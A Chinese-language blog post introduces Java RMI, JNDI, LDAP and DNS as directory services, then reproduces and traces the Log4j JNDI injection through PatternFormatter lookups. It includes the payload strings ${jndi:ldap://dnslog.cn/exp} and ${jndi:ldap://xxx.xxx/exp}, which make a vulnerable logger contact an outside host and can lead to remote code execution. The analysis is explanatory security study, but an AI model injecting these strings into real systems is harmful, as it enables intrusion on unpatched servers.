写点什么

RMI、JNDI、LDAP 介绍 +log4j 漏洞分析

作者:H
  • 2022 年 2 月 28 日
  • 本文字数:4586 字

    阅读完需:约 15 分钟

RMI、JNDI、LDAP介绍+log4j漏洞分析

介绍

本篇主要介绍 java 的 RMI、JNDI、LDAP,在后面会详细分析 log4j 的 jndi 注入原理。

什么是 RMI

RMI 全称是 Remote Method Invocatioon,也就是远程方法调用,看起来和 RPC(Remote Procedure Call)很像实际上它俩的确很像,RMI 算是 JAVA 定制版 RPC 吧

一个完整的 RMI 调用过程,需要下面几个部分

  1. 注册服务

  2. RMIServer

  3. 客户端

  4. 接口

  5. 实现接口的类

执行流程如下

  1. 首先开启注册服务

  2. RMI 创建实现接口的类的对象,并在注册服务中注册

  3. 客户端从注册服务调用接口里的方法

先来个例子,说不多说,都在代码里(网上找的)注册服务代码


【→所有资源关注我,私信回复“资料”获取←】1、网络安全学习路线 2、电子书籍(白帽子)3、安全大厂内部视频 4、100 份 src 文档 5、常见安全面试题 6、ctf 大赛经典题目解析 7、全套工具包 8、应急响应笔记

接口和实现接口的类


RMI 服务

客户端


运行流程如下图


此图和上面的代码对应关系

Client -> Client存根(stub) -> Client代码中的remoteHello对象(是个代理类,在通过它调用方法时,会将参数,函数名等信息打包,发送给骨架,存根对象包含了RMIServer的端口和ip)rmiregistry -> RegServeerServer -> RMI骨架(Skeleton) -> 也是个代理类,监听4000端口,用于和存根通信,收到存根的请求后,去调用RemoteImp对应的方法,然后将结果返回给存根ServiceImpl -> RemoteImpl
复制代码

所以,再以上面的代码为例,解读下执行流程

先启动 Register 服务(默认端口 1099)

RMI 去连接 Register 服务,并将 Name 和存根发送给 Register 服务如图


Client 连接 Register 服务,根据 Name 获取到对应存根,再通过存根调用 sayHello("World"),因为存根是代理类,所以可以获取到函数名,参数,参数类型等信息,存根将这些信息打包,发给骨架

RMI 的骨架也是代理类,通过反射调用 remoteHello.sayHello("World"),获取返回值 Hello, World,并发送给存根

Client 的存根将从骨架获取到的返回值 Return,这样 Client 端看起来就好像调用的是本地的方法

补充下,以上步骤,通过网络传输的数据都是通过序列化对象的形式,使用的协议是 JRMP(Java Remote Method Protocol)协议 很重要!!!

上面的代码还可以写成简化版如图服务端,在启动注册中心的同时,设置了存根和名字

客户端,通过 url 连接注册中心,获取存根


什么是 JNDI

JNDI 全称是 Java Naming and Directory Interfac,翻译过来就是 java 命名和目录接口.实际上,这里的 Naming 指命名服务,Directory 指目录服务。

命名服务

就是通过对资源的命名,便于下次调用资源更方便(所以这里的 Naming 要唯一)。例如上面的例子中的注册服务,就属于命名服务将 Hello 绑定 RemoteImpl 对象,在使用时,直接通过名字 Hello 就可以获取到 RemoteImpl 的存根。命名服务就像下面这个清单,为每一个名字绑定了一个资源。


目录服务

和命名服务很像,但更复杂,可以理解为一个清单,清单上有各种资源,每个资源又有自己的清单。举个例子,例如清单上有 10 台电脑,我选中一台小李的电脑,会获取到下一张清单,列出了小李电脑上的资源如:网络邻居、打印机、C 盘等等,我打开网络邻居,又获得一张清单。

根据上面的例子可以发现,这个目录服务,和计算机上的目录很像,打开一个文件夹,可以看见下一层目录,再打开一个文件夹,又可以看见下一层目录。我们熟知的 dns 就是目录服务,那它为什么属于目录服务,而不属于命名服务呢?

DNS 服务

虽然在我们看来,通过域名,返回 ip,特别像命名服务,但理解下 dns 解析过程就知道原因了。如图,在查询 dns 时,本地 dns 服务器去请求 dns 根服务器然后再请求.com 服务器,在请求 163.com 服务器,最后获得地址。


根服务器目录包含所有顶级域名的地址,如 com、cn 等 com 服务器的目录中包含 baidu、aliyun、tencent 等 baidu.com 服务器目录包含 vip、mail、oa 等例如访问 oa.baidu.com,则先去访问根服务器->com 服务器->baidu 服务器->获取到 oa 服务器地址

如图

像目录一样,层层解析,直到解析到想要域名的 ip 如果使用命名服务要怎么实现 DNS 解析?如图

每个域名对应一个 ip,都存到一张表里,如果有很多个百度这样的公司,而百度有几千个子域名,每个子域名又有几百个子域名,这样域名数就会指数型增加,那这张表就会超级超级大。这就导致每查询一次都要很久很久,而且全球域名都靠这台服务器完成,这台服务器独揽大权,全球服务器的域名解析都它说了算。

这些 dns 服务器组成一个分布式目录服务,用来查询域名的 ip,效率特别高。

树形结构

从上面这些描述和介绍应该对目录服务有了大概的了解,这种目录结构,叫做树形结构,如图。



目录服务总结

目录服务使用树形结构,这种结构优点是查询效率特别高,所以目录服务的优点之一就是查询效率特别高,缺点就是写数据慢,它可以是一种属性结构的数据库,也可以是上面那种分布式的目录服务

什么是 JNDI

JNDI 是 Java 命名与目录接口(Java Naming and Directory Interface),在 J2EE 规范中是重要的规范之一 J2EE 规定了 J2EE 容器都要实现 JNDI 接口。在实际使用时,在 J2EE 容器中配置 JNDI 参数,这个容器就是数据源,在使用时,直接通过数据源名称就可以调用一个 mysql 的配置文件示例如图,数据源名称就是 MySqlDS

<?xml version="1.0" encoding="UTF-8"?><datasources><local-tx-datasource>    <jndi-name>MySqlDS</jndi-name>    <connection-url>jdbc:mysql://localhost:3306/lw</connection-url>    <driver-class>com.mysql.jdbc.Driver</driver-class>    <user-name>root</user-name>    <password>rootpassword</password><exception-sorter-class-name>org.jboss.resource.adapter.jdbc.vendor.MySQLExceptionSorter</exception-sorter-class-name>    <metadata>       <type-mapping>mySQL</type-mapping>    </metadata></local-tx-datasource></datasources>
复制代码

在使用时

Context ctx=new InitialContext();Object datasourceRef=ctx.lookup("java:MySqlDS"); //引用数据源DataSource ds=(Datasource)datasourceRef;conn=ds.getConnection();/* 使用conn进行数据库SQL操作 */......c.close();
复制代码

通过 JNDI 统一的接口,只需要配置好数据源,在使用时,只需要调用 lookup 方法,查询数据源名称就可以获得数据源,使用数据库,不需要考虑不同数据库的驱动、连接、调用等方式,如果想换一个数据库,只需要修改下数据源配置文件就可以了。

什么是 LDAP

LDAP(Light Directory Access Portocol),它是基于 X.500 标准的跨平台的轻量级目录访问协议。

LDAP 是一种协议,轻量级目录访问的协议,说明它是实现,也是通过树形结构。LDAP 的中心概念是信息模型,它处理存储在目录中的信息种类和信息的结构。 信息模型围绕一个条目(即树的一个 Node)进行,该条目是具有类型和值的属性的集合。 条目以树状结构组织,称为目录信息树。 这些条目是围绕现实世界的概念,组织,人员和对象组成的。 属性类型与定义允许信息的语法相关联。 单个属性可以在其中包含多个值。 LDAP 中的专有名称从下至上读取。 左侧部分称为相对专有名称,右侧部分为基本专有名称。

LDAP 协议主要用于单点登录 SSO(Single Sign on),一个典型案例是:学校的单点登录系统,只需要在这里登录,则教务、WebVPN、校园网等系统都可以直接访问,不需要但需登录(我们学习在使用单点登录之前,每个系统都要单独登录)

LDAP 可以用于 SSO,但不等与 SSO,这种协议还可以用于统一各种系统的认证方式、储存企业组织架构,员工信息(由于它使用树形结构,查询效率高)等等。如图


Log4j 漏洞分析

网上流传的 log4j exp ${jndi:ldap://dnslog.cn/exp} 其中包含了 jndi 和 ldap 下面复现下漏洞并分析下原理

环境

创建 Maven 项目,添加依赖

<dependencies>    <dependency>        <groupId>log4j</groupId>        <artifactId>log4j</artifactId>        <version>1.2.17</version>    </dependency></dependencies>
复制代码

在 resources 目录添加配置文件文件名:log4j.properties

### 设置###log4j.rootLogger = debug,stdout,D,E
### 输出信息到控制抬 ###log4j.appender.stdout = org.apache.log4j.ConsoleAppenderlog4j.appender.stdout.Target = System.outlog4j.appender.stdout.layout = org.apache.log4j.PatternLayoutlog4j.appender.stdout.layout.ConversionPattern = [%-5p] %d{yyyy-MM-dd HH:mm:ss,SSS} method:%l%n%m%n
### 输出DEBUG 级别以上的日志到=/home/duqi/logs/debug.log ###log4j.appender.D = org.apache.log4j.DailyRollingFileAppenderlog4j.appender.D.File = /home/duqi/logs/debug.loglog4j.appender.D.Append = truelog4j.appender.D.Threshold = DEBUG log4j.appender.D.layout = org.apache.log4j.PatternLayoutlog4j.appender.D.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n
### 输出ERROR 级别以上的日志到=/home/admin/logs/error.log ###log4j.appender.E = org.apache.log4j.DailyRollingFileAppenderlog4j.appender.E.File =/home/admin/logs/error.log log4j.appender.E.Append = truelog4j.appender.E.Threshold = ERROR log4j.appender.E.layout = org.apache.log4j.PatternLayoutlog4j.appender.E.layout.ConversionPattern = %-d{yyyy-MM-dd HH:mm:ss} [ %t:%r ] - [ %p ] %m%n
复制代码

创建 Main 类

import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;
public class aa { private static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { System.out.println(1); logger.error("${jndi:ldap://xxx.xxx/exp}"); System.out.println(2); }}
复制代码

运行成功收到 dns 请求


调试分析

首先跟进 error

首先检测日志级别,判断是否记录

继续跟 logMessage


后面调用的太多了,不一一截图了调用栈如图

最终在这里调用 lookup

调用了 JNDI 的 lookup 方法

如图,这里的 context 正是 javax.naming.Context 类型


通过刚开始对 rmi、ldap、jndi 的学习,应该知道这里是通过 ldap 请求资源,,由于这个过程中传输的对象都是序列化数据,客户端得到资源后会进行反序列化所以只要搭建服务端,收到客户端请求就返回序列化的恶意 class,就会导致客户端反序列化时执行恶意代码

总结

根据调用栈分析如下

由于输出的日志格式为

21:51:13.846 [main] ERROR Main - Hello
复制代码

这个格式化过程在 toSerializable 函数中完成通过 11 个 formatters,分别获取时间21:51:13.846、函数名main、日志级别ERROR等信息,并拼接到一起

问题就出在这 11 个 formatters 之一的 PatternFormatter 上,它是负责解析 message 的(就是上面示例日志中的 Hello)

如图,它在 format 方法中,打算先获取 ${xxx}的值,然后将 ${xxx}替换为获取到的值(具体如何解析,如何替换,就不分析了)

如图,这里的 xxx 除了 jndi,还可以是 date, java, marker, ctx, lower, upper, main, jvmrunargs, sys, env, log4j,有待挖掘

在对 jndi 进行 lookup 之前,从 strLookupMap 中获取到了 jndi 的 lookup 对象

如图,每一个 key 都对应一个 lookup 对象

这些 lookup 对象的作用,在官网已经说明了。例如:${lower:Hello}会被解析为 hello,${upper:Hello}会被解析为 HELLO,只不过一直没人翻文档,直到今天,这个 jndi 注入才被发现。

所以为题根源就在 PatternFormatter,那所有使用 PatternFormatter 的库都有可能导致 jndi 注入,网上查了下 PatternFormatter,有个 POCO 库用到了,c++的。

用户头像

H

关注

还未添加个人签名 2021.08.04 加入

还未添加个人简介

评论

发布
暂无评论
RMI、JNDI、LDAP介绍+log4j漏洞分析_Java_H_InfoQ写作平台